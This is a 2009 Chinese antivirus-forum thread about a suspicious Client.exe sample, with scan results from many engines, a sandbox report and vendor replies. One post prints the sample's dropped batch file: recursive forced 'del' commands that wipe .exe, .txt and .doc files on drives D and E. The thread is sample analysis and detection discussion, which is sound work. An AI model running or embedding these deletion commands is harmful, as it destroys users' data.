微点勿试，其他上报！！

tgzw1680

主流全部不认识，但是多引擎上报出来也都全部误报，都些什么引擎。。。。。。呵呵
这个东东说明了一个问题，微点的比hips更高的使用性上确实损失了很多安全。这类东西如果要想智能判断还需要思考更全面的东西。如果连最基本的文件保护都无法防御，确实不能说不是一种无奈。。。。。。。。。编辑下，免得别人说是微黑，呵呵，个人很喜欢微点的思路，老妈用的也是沸点组合。只是说明一个事实，不理智的人请勿回。。。。。

[ 本帖最后由 tgzw1680 于 2009-2-25 15:58 编辑 ]

bbeikke

没有敢试微点……

The EQs

挺XE的

墨色丹青

在虚拟机运行下就知道动作了...
没有扫描...家电脑用RS
感觉查不出来

ledled

VirusBuster found nothing

328397663

to kl

llydmissile

To McAfee

Anycall-D908

ProcessMonitor1.35看不出有什么问题哦.........是不是病毒啊？

Anycall-D908

反病毒引擎	版本	最后更新	扫描结果
a-squared	4.0.0.93	2009.02.25	Trojan-Dropper.Win32.Delf!IK
AhnLab-V3	2009.2.24.0	2009.02.25	-
AntiVir	7.9.0.88	2009.02.25	-
Authentium	5.1.0.4	2009.02.25	W32/Dropper.MSH
Avast	4.8.1335.0	2009.02.25	-
AVG	8.0.0.237	2009.02.25	-
BitDefender	7.2	2009.02.25	Trojan.Generic.664729
CAT-QuickHeal	10.00	2009.02.25	-
ClamAV	0.94.1	2009.02.25	Trojan.Spy.Banker-6239
Comodo	986	2009.02.20	TrojWare.Win32.TrojanDropper.Delf.~AAAR
DrWeb	4.44.0.09170	2009.02.25	Trojan.StartPage.22094
eSafe	7.0.17.0	2009.02.25	-
eTrust-Vet	31.6.6374	2009.02.25	-
F-Prot	4.4.4.56	2009.02.25	W32/Dropper.MSH
F-Secure	8.0.14470.0	2009.02.25	-
Fortinet	3.117.0.0	2009.02.25	W32/Agent.AND!tr
GData	19	2009.02.25	Trojan.Generic.664729
Ikarus	T3.1.1.45.0	2009.02.25	Trojan-Dropper.Win32.Delf
K7AntiVirus	7.10.647	2009.02.25	Trojan-Dropper.Win32.QuickBatch.s
Kaspersky	7.0.0.125	2009.02.25	-
McAfee	5535	2009.02.24	-
McAfee+Artemis	5535	2009.02.24	-
Microsoft	1.4306	2009.02.25	Trojan:Win32/Delfsnif.DT
NOD32	3888	2009.02.25	-
Norman	6.00.06	2009.02.25	-
nProtect	2009.1.8.0	2009.02.25	-
Panda	10.0.0.10	2009.02.25	-
PCTools	4.4.2.0	2009.02.25	-
Prevx1	V2	2009.02.25	High Risk Cloaked Malware
Rising	21.18.22.00	2009.02.25	-
SecureWeb-Gateway	6.0.0	2009.02.25	-
Sophos	4.39.0	2009.02.25	-
Sunbelt	3.2.1856.2	2009.02.24	-
Symantec	10	2009.02.25	-
TheHacker	6.3.2.5.265	2009.02.25	-
TrendMicro	8.700.0.1004	2009.02.25	-
VBA32	3.12.10.0	2009.02.25	Trojan.Win32.Delf.bpd
ViRobot	2009.2.25.1623	2009.02.25	-
VirusBuster	4.5.11.0	2009.02.24	-

The EQs

绝对是的。。。。


eset下次升级添加特征码

Anycall-D908

这么多都是误报？哎哟......完全看不懂，谁来救救我

tgzw1680

其实不是病毒，病毒的定义首先是要自我复制，传染，感染破坏文件。这一类型只能算恶意程序

The EQs

有种木马叫做killfiles

黑衣~魂

DR.WEB
Client.exe - infected with Trojan.StartPage.22094

EQ兄說的沒錯
光是TLS hooks: YES.就可以報後門了

Client.exe : Not detected by Sandbox (Signature: NO_VIRUS)


[ DetectionInfo ]
   * Filename: C:\analyzer\scan\Client.exe.
   * Sandbox name: NO_MALWARE
   * Signature name: NO_VIRUS.
   * Compressed: NO.
   * TLS hooks: YES.
   * Executable type: Application.
   * Executable file structure: OK.
   * Filetype: PE_I386.

[ General information ]
   * File length:        69120 bytes.
   * MD5 hash: 29a2b93428347909dc8819c79dcfc3cd.

[ Changes to registry ]
   * Accesses Registry key "HKCU\Software\Borland\Locales".
   * Accesses Registry key "HKLM\Software\Borland\Locales".
   * Accesses Registry key "HKCU\Software\Borland\Delphi\Locales".

[ 本帖最后由 黑衣~魂 于 2009-2-25 23:20 编辑 ]

sjducker

BitDefender 2009

This web page has been blocked by BitDefender Antivirus Real-time Protection!

The blocked web page included objects that were either infected or likely to be infected with a virus. Your system has NOT been infected.

Kitman

to avira

baohelin

client通过cmd.exe运行temp目录下随机数字名.bat。删除D、E盘根目录下的.exe、.txt、.doc文件。
.bat文件的内容：
@shift
del /f /s /q d:\*.exe
del /f /s /q e:\*.exe
del /f /s /q d:\*.txt
del /f /s /q e:\*.txt
del /f /s /q d:\*.doc
del /f /s /q e:\*.doc

并无太大恶意。作者只是给出个例子说明他的观点。

桃源梨花

一个批处理，用Quick Batch File这玩意编译一下就称病毒？

Kitman

The file 'Client.exe' has been determined to be 'MALWARE'. Our analysts discovered that the file is a Dropper. In general this kind of programs do not contain harmul functions by themselves. However they usually create other harmful programs and execute them right away. Detection will be added to our virus definition file (VDF) with one of the next updates.

saga3721

为什么不删掉视频文件？这毒造成的破坏就是一张用来备份应用软件收集的DVD刻录盘搞定的事。